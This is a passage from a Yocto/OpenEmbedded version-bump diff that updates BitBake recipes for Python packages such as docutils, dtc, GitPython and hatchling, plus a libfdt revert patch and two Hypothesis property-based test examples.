@@ -0,0 +1,23 @@
+SUMMARY = "Python bindings for the DBus inter-process communication system"
+SECTION = "devel/python"
+HOMEPAGE = "http://www.freedesktop.org/Software/dbus"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=97f58951300aa52a9f9e3a62bd5c846c"
+DEPENDS = "expat dbus glib-2.0 virtual/libintl"
+
+SRC_URI = "http://dbus.freedesktop.org/releases/dbus-python/dbus-python-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "ad67819308618b5069537be237f8e68ca1c7fcc95ee4a121fe6845b1418248f8"
+
+S = "${WORKDIR}/dbus-python-${PV}"
+
+inherit setuptools3-base meson pkgconfig
+
+# requires dbus-run-session
+EXTRA_OEMESON += "-Dtests=false"
+
+RDEPENDS:${PN} = "python3-io python3-logging python3-stringold python3-threading python3-xml"
+
+FILES:${PN}-dev += "${libdir}/pkgconfig"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dbusmock_0.19.bb b/meta/recipes-devtools/python/python3-dbusmock_0.19.bb
deleted file mode 100644
index d297dbc1df..0000000000
--- a/meta/recipes-devtools/python/python3-dbusmock_0.19.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "With this program/Python library you can easily create mock objects on D-Bus"
-
-LICENSE = "GPL-3.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e6a600fd5e1d9cbde2d983680233ad02"
-
-SRC_URI[sha256sum] = "497f30eed2fcd5deaa2633b9622e4e99af4bdfba4e972b350ba630bac6fc86c2"
-
-PYPI_PACKAGE = "python-dbusmock"
-
-inherit pypi setuptools3
-
-RDEPENDS_${PN} += "\
- ${PYTHON_PN}-dbus \
- ${PYTHON_PN}-pygobject \
- ${PYTHON_PN}-unittest \
- ${PYTHON_PN}-xml \
- "
diff --git a/meta/recipes-devtools/python/python3-dbusmock_0.31.1.bb b/meta/recipes-devtools/python/python3-dbusmock_0.31.1.bb
new file mode 100644
index 0000000000..fc32c6bbb6
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dbusmock_0.31.1.bb
@@ -0,0 +1,22 @@
+SUMMARY = "With this program/Python library you can easily create mock objects on D-Bus"
+HOMEPAGE = "https://pypi.org/project/python-dbusmock/"
+
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+SRC_URI[sha256sum] = "b23b8e1b51fe2a9b13e617fff6b60b3ed8e536c080cf3498019d223678d5ea49"
+
+PYPI_PACKAGE = "python-dbusmock"
+
+inherit pypi python_setuptools_build_meta
+DEPENDS += "python3-setuptools-scm-native"
+
+RDEPENDS:${PN} += "\
+ python3-dbus \
+ python3-unittest \
+ python3-xml \
+ "
+
+RRECOMMENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'gobject-introspection-data', '${MLPREFIX}python3-pygobject', '', d)}"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-docutils_0.16.bb b/meta/recipes-devtools/python/python3-docutils_0.16.bb
deleted file mode 100644
index 50547a1b0c..0000000000
--- a/meta/recipes-devtools/python/python3-docutils_0.16.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Text processing system for documentation"
-HOMEPAGE = "http://docutils.sourceforge.net"
-SECTION = "devel/python"
-LICENSE = "PSF & BSD-2-Clause & GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING.txt;md5=7a4646907ab9083c826280b19e103106"
-
-DEPENDS = "python3"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/docutils/docutils-${PV}.tar.gz"
-SRC_URI[md5sum] = "9ccb6f332e23360f964de72c8ea5f0ed"
-SRC_URI[sha256sum] = "7d4e999cca74a52611773a42912088078363a30912e8822f7a3d38043b767573"
-
-S = "${WORKDIR}/docutils-${PV}"
-
-inherit distutils3
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-docutils_0.20.1.bb b/meta/recipes-devtools/python/python3-docutils_0.20.1.bb
new file mode 100644
index 0000000000..6038732cc4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-docutils_0.20.1.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Docutils is a modular system for processing documentation into useful formats"
+HOMEPAGE = "http://docutils.sourceforge.net"
+SECTION = "devel/python"
+LICENSE = "PSF-2.0 & BSD-2-Clause & GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING.txt;md5=08f5f8aa6a1db2500c08a2bb558e45af"
+
+SRC_URI[sha256sum] = "f08a4e276c3a1583a86dce3e34aba3fe04d02bba2dd51ed16106244e8a923e3b"
+
+inherit pypi setuptools3
+
+do_install:append() {
+ for f in rst2html rst2html4 rst2html5 rst2latex rst2man \
+ rst2odt rst2odt_prepstyles rst2pseudoxml rst2s5 rst2xetex rst2xml \
+ rstpep2html
+ do
+ mv ${D}${bindir}/$f.py ${D}${bindir}/$f;
+ done
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dtc/0001-Revert-libfdt-overlay-make-overlay_get_target-public.patch b/meta/recipes-devtools/python/python3-dtc/0001-Revert-libfdt-overlay-make-overlay_get_target-public.patch
new file mode 100644
index 0000000000..a2df482e3a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dtc/0001-Revert-libfdt-overlay-make-overlay_get_target-public.patch
@@ -0,0 +1,132 @@
+From 4d4703e0199fb3556c37694e4d951785abca22fd Mon Sep 17 00:00:00 2001
+From: Bruce Ashfield <bruce.ashfield@gmail.com>
+Date: Wed, 19 Jan 2022 12:46:42 -0500
+Subject: [PATCH] Revert "libfdt: overlay: make overlay_get_target() public"
+
+This reverts commit 45f3d1a095dd3440578d5c6313eba555a791f3fb.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+---
+ libfdt/fdt_overlay.c | 29 ++++++++++++++++++++++-------
+ libfdt/libfdt.h | 18 ------------------
+ libfdt/version.lds | 1 -
+ 3 files changed, 22 insertions(+), 26 deletions(-)
+
+diff --git a/libfdt/fdt_overlay.c b/libfdt/fdt_overlay.c
+index 5c0c398..d217e79 100644
+--- a/libfdt/fdt_overlay.c
++++ b/libfdt/fdt_overlay.c
+@@ -40,22 +40,37 @@ static uint32_t overlay_get_target_phandle(const void *fdto, int fragment)
+ return fdt32_to_cpu(*val);
+ }
+
+-int fdt_overlay_target_offset(const void *fdt, const void *fdto,
+- int fragment_offset, char const **pathp)
++/**
++ * overlay_get_target - retrieves the offset of a fragment's target
++ * @fdt: Base device tree blob
++ * @fdto: Device tree overlay blob
++ * @fragment: node offset of the fragment in the overlay
++ * @pathp: pointer which receives the path of the target (or NULL)
++ *
++ * overlay_get_target() retrieves the target offset in the base
++ * device tree of a fragment, no matter how the actual targeting is
++ * done (through a phandle or a path)
++ *
++ * returns:
++ * the targeted node offset in the base device tree
++ * Negative error code on error
++ */
++static int overlay_get_target(const void *fdt, const void *fdto,
++ int fragment, char const **pathp)
+ {
+ uint32_t phandle;
+ const char *path = NULL;
+ int path_len = 0, ret;
+
+ /* Try first to do a phandle based lookup */
+- phandle = overlay_get_target_phandle(fdto, fragment_offset);
++ phandle = overlay_get_target_phandle(fdto, fragment);
+ if (phandle == (uint32_t)-1)
+ return -FDT_ERR_BADPHANDLE;
+
+ /* no phandle, try path */
+ if (!phandle) {
+ /* And then a path based lookup */
+- path = fdt_getprop(fdto, fragment_offset, "target-path", &path_len);
++ path = fdt_getprop(fdto, fragment, "target-path", &path_len);
+ if (path)
+ ret = fdt_path_offset(fdt, path);
+ else
+@@ -621,7 +636,7 @@ static int overlay_merge(void *fdt, void *fdto)
+ if (overlay < 0)
+ return overlay;
+
+- target = fdt_overlay_target_offset(fdt, fdto, fragment, NULL);
++ target = overlay_get_target(fdt, fdto, fragment, NULL);
+ if (target < 0)
+ return target;
+
+@@ -764,7 +779,7 @@ static int overlay_symbol_update(void *fdt, void *fdto)
+ return -FDT_ERR_BADOVERLAY;
+
+ /* get the target of the fragment */
+- ret = fdt_overlay_target_offset(fdt, fdto, fragment, &target_path);
++ ret = overlay_get_target(fdt, fdto, fragment, &target_path);
+ if (ret < 0)
+ return ret;
+ target = ret;
+@@ -786,7 +801,7 @@ static int overlay_symbol_update(void *fdt, void *fdto)
+
+ if (!target_path) {
+ /* again in case setprop_placeholder changed it */
+- ret = fdt_overlay_target_offset(fdt, fdto, fragment, &target_path);
++ ret = overlay_get_target(fdt, fdto, fragment, &target_path);
+ if (ret < 0)
+ return ret;
+ target = ret;
+diff --git a/libfdt/libfdt.h b/libfdt/libfdt.h
+index a7f432c..7f117e8 100644
+--- a/libfdt/libfdt.h
++++ b/libfdt/libfdt.h
+@@ -2116,24 +2116,6 @@ int fdt_del_node(void *fdt, int nodeoffset);
+ */
+ int fdt_overlay_apply(void *fdt, void *fdto);
+
+-/**
+- * fdt_overlay_target_offset - retrieves the offset of a fragment's target
+- * @fdt: Base device tree blob
+- * @fdto: Device tree overlay blob
+- * @fragment_offset: node offset of the fragment in the overlay
+- * @pathp: pointer which receives the path of the target (or NULL)
+- *
+- * fdt_overlay_target_offset() retrieves the target offset in the base
+- * device tree of a fragment, no matter how the actual targeting is
+- * done (through a phandle or a path)
+- *
+- * returns:
+- * the targeted node offset in the base device tree
+- * Negative error code on error
+- */
+-int fdt_overlay_target_offset(const void *fdt, const void *fdto,
+- int fragment_offset, char const **pathp);
+-
+ /**********************************************************************/
+ /* Debugging / informational functions */
+ /**********************************************************************/
+diff --git a/libfdt/version.lds b/libfdt/version.lds
+index cbce5d4..7ab85f1 100644
+--- a/libfdt/version.lds
++++ b/libfdt/version.lds
+@@ -77,7 +77,6 @@ LIBFDT_1.2 {
+ fdt_appendprop_addrrange;
+ fdt_setprop_inplace_namelen_partial;
+ fdt_create_with_flags;
+- fdt_overlay_target_offset;
+ local:
+ *;
+ };
+--
+2.19.1
+
diff --git a/meta/recipes-devtools/python/python3-dtc_1.7.0.bb b/meta/recipes-devtools/python/python3-dtc_1.7.0.bb
new file mode 100644
index 0000000000..85e48d4694
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dtc_1.7.0.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Python Library for the Device Tree Compiler"
+HOMEPAGE = "https://devicetree.org/"
+DESCRIPTION = "A python library for the Device Tree Compiler, a tool used to manipulate Device Tree files which contain a data structure for describing hardware."
+SECTION = "bootloader"
+LICENSE = "GPL-2.0-only | BSD-2-Clause"
+
+DEPENDS = "flex-native bison-native swig-native python3-setuptools-scm-native libyaml dtc"
+
+SRC_URI = "git://git.kernel.org/pub/scm/utils/dtc/dtc.git;branch=master \
+ file://0001-Revert-libfdt-overlay-make-overlay_get_target-public.patch \
+ "
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+LIC_FILES_CHKSUM = "file://pylibfdt/libfdt.i;beginline=1;endline=6;md5=afda088c974174a29108c8d80b5dce90"
+
+SRCREV = "039a99414e778332d8f9c04cbd3072e1dcc62798"
+
+S = "${WORKDIR}/git"
+
+PYPA_WHEEL = "${S}/dist/libfdt-1.6.2*.whl"
+
+inherit setuptools3 pkgconfig
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dtschema_2024.2.bb b/meta/recipes-devtools/python/python3-dtschema_2024.2.bb
new file mode 100644
index 0000000000..0e911dfb3d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dtschema_2024.2.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Tooling for devicetree validation using YAML and jsonschema"
+HOMEPAGE = "https://github.com/devicetree-org/dt-schema"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=457495c8fa03540db4a576bf7869e811"
+
+inherit pypi python_setuptools_build_meta
+
+PYPI_PACKAGE = "dtschema"
+
+SRC_URI[sha256sum] = "df4e5afb35bda93894209d2465e87fb7103f1a95a05909ebcb594fc4cf4fdd1e"
+
+DEPENDS += "python3-setuptools-scm-native"
+RDEPENDS:${PN} += "\
+ python3-dtc \
+ python3-jsonschema \
+ python3-rfc3987 \
+ python3-ruamel-yaml \
+ "
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-editables_0.5.bb b/meta/recipes-devtools/python/python3-editables_0.5.bb
new file mode 100644
index 0000000000..f3261183cb
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-editables_0.5.bb
@@ -0,0 +1,15 @@
+SUMMARY = "A Python library for creating editable wheels"
+HOMEPAGE = "https://github.com/pfmoore/editables"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=41bc1be47b7bb8240db3ef928c7cb0bf"
+
+SRC_URI[sha256sum] = "309627d9b5c4adc0e668d8c6fa7bac1ba7c8c5d415c2d27f60f081f8e80d1de2"
+
+inherit pypi python_setuptools_build_meta
+
+RDEPENDS:${PN} += "\
+ python3-io \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-flit-core_3.9.0.bb b/meta/recipes-devtools/python/python3-flit-core_3.9.0.bb
new file mode 100644
index 0000000000..b0bef4b6b6
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-flit-core_3.9.0.bb
@@ -0,0 +1,37 @@
+SUMMARY = "This provides a PEP 517 build backend for packages using Flit."
+DESCRIPTION = "This provides a PEP 517 build backend for packages using \
+Flit. The only public interface is the API specified by PEP 517, at \
+flit_core.buildapi."
+HOMEPAGE = "https://github.com/pypa/flit"
+BUGTRACKER = "https://github.com/pypa/flit/issues"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=41eb78fa8a872983a882c694a8305f08"
+
+SRC_URI[sha256sum] = "d75edf5eb324da20d53570a6a6f87f51e606eee8384925cd66a90611140844c7"
+
+inherit pypi python_flit_core
+
+# Need to install by hand as there's a dependency loop
+DEPENDS:remove:class-native = " python3-build-native python3-installer-native"
+DEPENDS:append:class-native = " unzip-native"
+
+# We need the full flit tarball
+PYPI_PACKAGE = "flit"
+PEP517_SOURCE_PATH = "${S}/flit_core"
+
+do_compile:class-native () {
+ python_flit_core_do_manual_build
+}
+
+do_install:class-native () {
+ python_pep517_do_bootstrap_install
+}
+
+PACKAGES =+ "${PN}-tests"
+
+FILES:${PN}-tests += "\
+ ${PYTHON_SITEPACKAGES_DIR}/flit_core/tests/* \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-git_3.1.43.bb b/meta/recipes-devtools/python/python3-git_3.1.43.bb
new file mode 100644
index 0000000000..45c988117b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-git_3.1.43.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Python library used to interact with Git repositories"
+DESCRIPTION = "GitPython provides object model read and write access to \
+a git repository. Access repository information conveniently, alter the \
+index directly, handle remotes, or go down to low-level object database \
+access with big-files support."
+HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5279a7ab369ba336989dcf2a107e5c8e"
+
+PYPI_PACKAGE = "GitPython"
+
+inherit pypi python_setuptools_build_meta
+
+SRC_URI[sha256sum] = "35f314a9f878467f5453cc1fee295c3e18e52f1b99f10f6cf5b1682e968a9e7c"
+
+DEPENDS += " python3-gitdb"
+
+RDEPENDS:${PN} += " \
+ python3-datetime \
+ python3-gitdb \
+ python3-io \
+ python3-logging \
+ python3-math \
+ python3-netclient \
+ python3-stringold \
+ python3-unittest \
+ python3-unixadmin \
+ git \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-git_3.1.7.bb b/meta/recipes-devtools/python/python3-git_3.1.7.bb
deleted file mode 100644
index 6d1fc4b653..0000000000
--- a/meta/recipes-devtools/python/python3-git_3.1.7.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Python library used to interact with Git repositories"
-DESCRIPTION = "GitPython provides object model read and write access to \
-a git repository. Access repository information conveniently, alter the \
-index directly, handle remotes, or go down to low-level object database \
-access with big-files support."
-HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=8b8d26c37c1d5a04f9b0186edbebc183"
-
-PYPI_PACKAGE = "GitPython"
-
-inherit pypi setuptools3
-
-SRC_URI[sha256sum] = "2db287d71a284e22e5c2846042d0602465c7434d910406990d5b74df4afb0858"
-
-DEPENDS += " ${PYTHON_PN}-gitdb"
-
-RDEPENDS_${PN} += " \
- ${PYTHON_PN}-datetime \
- ${PYTHON_PN}-gitdb \
- ${PYTHON_PN}-io \
- ${PYTHON_PN}-logging \
- ${PYTHON_PN}-math \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-stringold \
- ${PYTHON_PN}-unittest \
- ${PYTHON_PN}-unixadmin \
- git \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-gitdb_4.0.11.bb b/meta/recipes-devtools/python/python3-gitdb_4.0.11.bb
new file mode 100644
index 0000000000..25e1a2df7e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-gitdb_4.0.11.bb
@@ -0,0 +1,22 @@
+SUMMARY = "A pure-Python git object database"
+HOMEPAGE = "http://github.com/gitpython-developers/gitdb"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=59e5ecb13339a936eedf83282eaf4528"
+
+DEPENDS = "python3-smmap"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "gitdb"
+
+SRC_URI[sha256sum] = "bf5421126136d6d0af55bc1e7c1af1c397a34f5b7bd79e776cd3e89785c2b04b"
+
+RDEPENDS:${PN} += "python3-compression \
+ python3-crypt \
+ python3-io \
+ python3-mmap \
+ python3-shell \
+ python3-smmap \
+"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-gitdb_4.0.5.bb b/meta/recipes-devtools/python/python3-gitdb_4.0.5.bb
deleted file mode 100644
index fe56bf9640..0000000000
--- a/meta/recipes-devtools/python/python3-gitdb_4.0.5.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-inherit setuptools3
-require python-gitdb.inc
-
-SRC_URI[md5sum] = "0e2d3f34efece5deda7c55fede6507cc"
diff --git a/meta/recipes-devtools/python/python3-hatch-fancy-pypi-readme_24.1.0.bb b/meta/recipes-devtools/python/python3-hatch-fancy-pypi-readme_24.1.0.bb
new file mode 100644
index 0000000000..1e5c67f832
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hatch-fancy-pypi-readme_24.1.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Hatch plugin for fancy PyPI readmes "
+HOMEPAGE = "https://pypi.org/project/hatch-fancy-pypi-readme/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=ba5633c60bd3e243091013aa83b4d807"
+
+inherit pypi python_hatchling
+
+PYPI_PACKAGE = "hatch_fancy_pypi_readme"
+
+SRC_URI[sha256sum] = "44dd239f1a779b9dcf8ebc9401a611fd7f7e3e14578dcf22c265dfaf7c1514b8"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_REGEX = "/hatch-fancy-pypi-readme/(?P<pver>(\d+[\.\-_]*)+)/"
diff --git a/meta/recipes-devtools/python/python3-hatch-vcs_0.4.0.bb b/meta/recipes-devtools/python/python3-hatch-vcs_0.4.0.bb
new file mode 100644
index 0000000000..2e49aba469
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hatch-vcs_0.4.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Hatch plugin for versioning with your preferred VCS"
+HOMEPAGE = "https://pypi.org/project/hatch-vcs/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=26501cfd0bbddf830ee820e95551fa3d"
+
+inherit pypi python_hatchling
+
+PYPI_PACKAGE = "hatch_vcs"
+
+SRC_URI[sha256sum] = "093810748fe01db0d451fabcf2c1ac2688caefd232d4ede967090b1c1b07d9f7"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_REGEX = "/hatch-vcs/(?P<pver>(\d+[\.\-_]*)+)/"
diff --git a/meta/recipes-devtools/python/python3-hatchling_1.22.4.bb b/meta/recipes-devtools/python/python3-hatchling_1.22.4.bb
new file mode 100644
index 0000000000..d2f32d8b1a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hatchling_1.22.4.bb
@@ -0,0 +1,17 @@
+SUMMARY = "The extensible, standards compliant build backend used by Hatch"
+HOMEPAGE = "https://hatch.pypa.io/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=cbe2fd33fc9297692812fc94b7d27fd9"
+
+inherit pypi python_hatchling
+
+DEPENDS += "python3-pluggy-native python3-pathspec-native python3-packaging-native python3-editables-native python3-trove-classifiers-native"
+DEPENDS:remove:class-native = "python3-hatchling-native"
+
+SRC_URI[sha256sum] = "8a2dcec96d7fb848382ef5848e5ac43fdae641f35a08a3fab5116bd495f3416e"
+
+do_compile:prepend() {
+ export PYTHONPATH=src
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-hypothesis/run-ptest b/meta/recipes-devtools/python/python3-hypothesis/run-ptest
new file mode 100644
index 0000000000..54f6e7930f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/run-ptest
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+# Upstream "fast" tests take about 5 minutes and currently do not run cleanly
+# (tests/cover and tests/pytest)
+# https://github.com/HypothesisWorks/hypothesis/tree/master/hypothesis-python/tests
+# https://github.com/HypothesisWorks/hypothesis/blob/master/hypothesis-python/scripts/basic-test.sh#L18
+#
+# Instead we run two test suites imported from examples/
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py b/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py
new file mode 100644
index 0000000000..21267c4ac2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py
@@ -0,0 +1,135 @@
+# This file is part of Hypothesis, which may be found at
+# https://github.com/HypothesisWorks/hypothesis/
+#
+# Most of this work is copyright (C) 2013-2021 David R. MacIver
+# (david@drmaciver.com), but it contains contributions by others. See
+# CONTRIBUTING.rst for a full list of people who may hold copyright, and
+# consult the git log if you need to determine who owns an individual
+# contribution.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public License,
+# v. 2.0. If a copy of the MPL was not distributed with this file, You can
+# obtain one at https://mozilla.org/MPL/2.0/.
+#
+# END HEADER
+#
+# SPDX-License-Identifier: MPL-2.0
+
+"""This file demonstrates testing a binary search.
+
+It's a useful example because the result of the binary search is so clearly
+determined by the invariants it must satisfy, so we can simply test for those
+invariants.
+
+It also demonstrates the useful testing technique of testing how the answer
+should change (or not) in response to movements in the underlying data.
+"""
+
+from hypothesis import given, strategies as st
+
+
+def binary_search(ls, v):
+ """Take a list ls and a value v such that ls is sorted and v is comparable
+ with the elements of ls.
+
+ Return an index i such that 0 <= i <= len(v) with the properties:
+
+ 1. ls.insert(i, v) is sorted
+ 2. ls.insert(j, v) is not sorted for j < i
+ """
+ # Without this check we will get an index error on the next line when the
+ # list is empty.
+ if not ls:
+ return 0
+
+ # Without this check we will miss the case where the insertion point should
+ # be zero: The invariant we maintain in the next section is that lo is
+ # always strictly lower than the insertion point.
+ if v <= ls[0]:
+ return 0
+
+ # Invariant: There is no insertion point i with i <= lo
+ lo = 0
+
+ # Invariant: There is an insertion point i with i <= hi
+ hi = len(ls)
+ while lo + 1 < hi:
+ mid = (lo + hi) // 2
+ if v > ls[mid]:
+ # Inserting v anywhere below mid would result in an unsorted list
+ # because it's > the value at mid. Therefore mid is a valid new lo
+ lo = mid
+ # Uncommenting the following lines will cause this to return a valid
+ # insertion point which is not always minimal.
+ # elif v == ls[mid]:
+ # return mid
+ else:
+ # Either v == ls[mid] in which case mid is a valid insertion point
+ # or v < ls[mid], in which case all valid insertion points must be
+ # < hi. Either way, mid is a valid new hi.
+ hi = mid
+ assert lo + 1 == hi
+ # We now know that there is a valid insertion point <= hi and there is no
+ # valid insertion point < hi because hi - 1 is lo. Therefore hi is the
+ # answer we were seeking
+ return hi
+
+
+def is_sorted(ls):
+ """Is this list sorted?"""
+ for i in range(len(ls) - 1):
+ if ls[i] > ls[i + 1]:
+ return False
+ return True
+
+
+Values = st.integers()
+
+# We generate arbitrary lists and turn this into generating sorting lists
+# by just sorting them.
+SortedLists = st.lists(Values).map(sorted)
+
+# We could also do it this way, but that would be a bad idea:
+# SortedLists = st.lists(Values).filter(is_sorted)
+# The problem is that Hypothesis will only generate long sorted lists with very
+# low probability, so we are much better off post-processing values into the
+# form we want than filtering them out.
+
+
+@given(ls=SortedLists, v=Values)
+def test_insert_is_sorted(ls, v):
+ """We test the first invariant: binary_search should return an index such
+ that inserting the value provided at that index would result in a sorted
+ set."""
+ ls.insert(binary_search(ls, v), v)
+ assert is_sorted(ls)
+
+
+@given(ls=SortedLists, v=Values)
+def test_is_minimal(ls, v):
+ """We test the second invariant: binary_search should return an index such
+ that no smaller index is a valid insertion point for v."""
+ for i in range(binary_search(ls, v)):
+ ls2 = list(ls)
+ ls2.insert(i, v)
+ assert not is_sorted(ls2)
+
+
+@given(ls=SortedLists, v=Values)
+def test_inserts_into_same_place_twice(ls, v):
+ """In this we test a *consequence* of the second invariant: When we insert
+ a value into a list twice, the insertion point should be the same both
+ times. This is because we know that v is > the previous element and == the
+ next element.
+
+ In theory if the former passes, this should always pass. In practice,
+ failures are detected by this test with much higher probability because it
+ deliberately puts the data into a shape that is likely to trigger a
+ failure.
+
+ This is an instance of a good general category of test: Testing how the
+ function moves in responses to changes in the underlying data.
+ """
+ i = binary_search(ls, v)
+ ls.insert(i, v)
+ assert binary_search(ls, v) == i
diff --git a/meta/recipes-devtools/python/python3-hypothesis/test_rle.py b/meta/recipes-devtools/python/python3-hypothesis/test_rle.py
new file mode 100644
index 0000000000..4d618865ac
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/test_rle.py
@@ -0,0 +1,101 @@
+# This file is part of Hypothesis, which may be found at
+# https://github.com/HypothesisWorks/hypothesis/
+#
+# Most of this work is copyright (C) 2013-2021 David R. MacIver
+# (david@drmaciver.com), but it contains contributions by others. See
+# CONTRIBUTING.rst for a full list of people who may hold copyright, and
+# consult the git log if you need to determine who owns an individual
+# contribution.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public License,
+# v. 2.0. If a copy of the MPL was not distributed with this file, You can
+# obtain one at https://mozilla.org/MPL/2.0/.
+#
+# END HEADER
+#
+# SPDX-License-Identifier: MPL-2.0
+
+"""This example demonstrates testing a run length encoding scheme. That is, we
+take a sequence and represent it by a shorter sequence where each 'run' of
+consecutive equal elements is represented as a single element plus a count. So
+e.g.
+
+[1, 1, 1, 1, 2, 1] is represented as [[1, 4], [2, 1], [1, 1]]
+
+This demonstrates the useful decode(encode(x)) == x invariant that is often
+a fruitful source of testing with Hypothesis.
+
+It also has an example of testing invariants in response to changes in the
+underlying data.
+"""
+
+from hypothesis import assume, given, strategies as st
+
+
+def run_length_encode(seq):
+ """Encode a sequence as a new run-length encoded sequence."""
+ if not seq:
+ return []
+ # By starting off the count at zero we simplify the iteration logic
+ # slightly.
+ result = [[seq[0], 0]]
+ for s in seq:
+ if (
+ # If you uncomment this line this branch will be skipped and we'll
+ # always append a new run of length 1. Note which tests fail.
+ # False and
+ s
+ == result[-1][0]
+ # Try uncommenting this line and see what problems occur:
+ # and result[-1][-1] < 2
+ ):
+ result[-1][1] += 1
+ else:
+ result.append([s, 1])
+ return result
+
+
+def run_length_decode(seq):
+ """Take a previously encoded sequence and reconstruct the original from
+ it."""
+ result = []
+ for s, i in seq:
+ for _ in range(i):
+ result.append(s)
+ return result
+
+
+# We use lists of a type that should have a relatively high duplication rate,
+# otherwise we'd almost never get any runs.
+Lists = st.lists(st.integers(0, 10))
+
+
+@given(Lists)
+def test_decodes_to_starting_sequence(ls):
+ """If we encode a sequence and then decode the result, we should get the
+ original sequence back.
+
+ Otherwise we've done something very wrong.
+ """
+ assert run_length_decode(run_length_encode(ls)) == ls
+
+
+@given(Lists, st.data())
+def test_duplicating_an_element_does_not_increase_length(ls, data):
+ """The previous test could be passed by simply returning the input sequence
+ so we need something that tests the compression property of our encoding.
+
+ In this test we deliberately introduce or extend a run and assert
+ that this does not increase the length of our encoding, because they
+ should be part of the same run in the final result.
+ """
+ # We use assume to get a valid index into the list. We could also have used
+ # e.g. flatmap, but this is relatively straightforward and will tend to
+ # perform better.
+ assume(ls)
+ i = data.draw(st.integers(0, len(ls) - 1))
+ ls2 = list(ls)
+ # duplicating the value at i right next to it guarantees they are part of
+ # the same run in the resulting compression.
+ ls2.insert(i, ls2[i])
+ assert len(run_length_encode(ls2)) == len(run_length_encode(ls))
diff --git a/meta/recipes-devtools/python/python3-hypothesis_6.99.4.bb b/meta/recipes-devtools/python/python3-hypothesis_6.99.4.bb
new file mode 100644
index 0000000000..64b8cf2c31
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis_6.99.4.bb
@@ -0,0 +1,39 @@
+SUMMARY = "A library for property-based testing"
+HOMEPAGE = "https://github.com/HypothesisWorks/hypothesis/tree/master/hypothesis-python"
+LICENSE = "MPL-2.0"
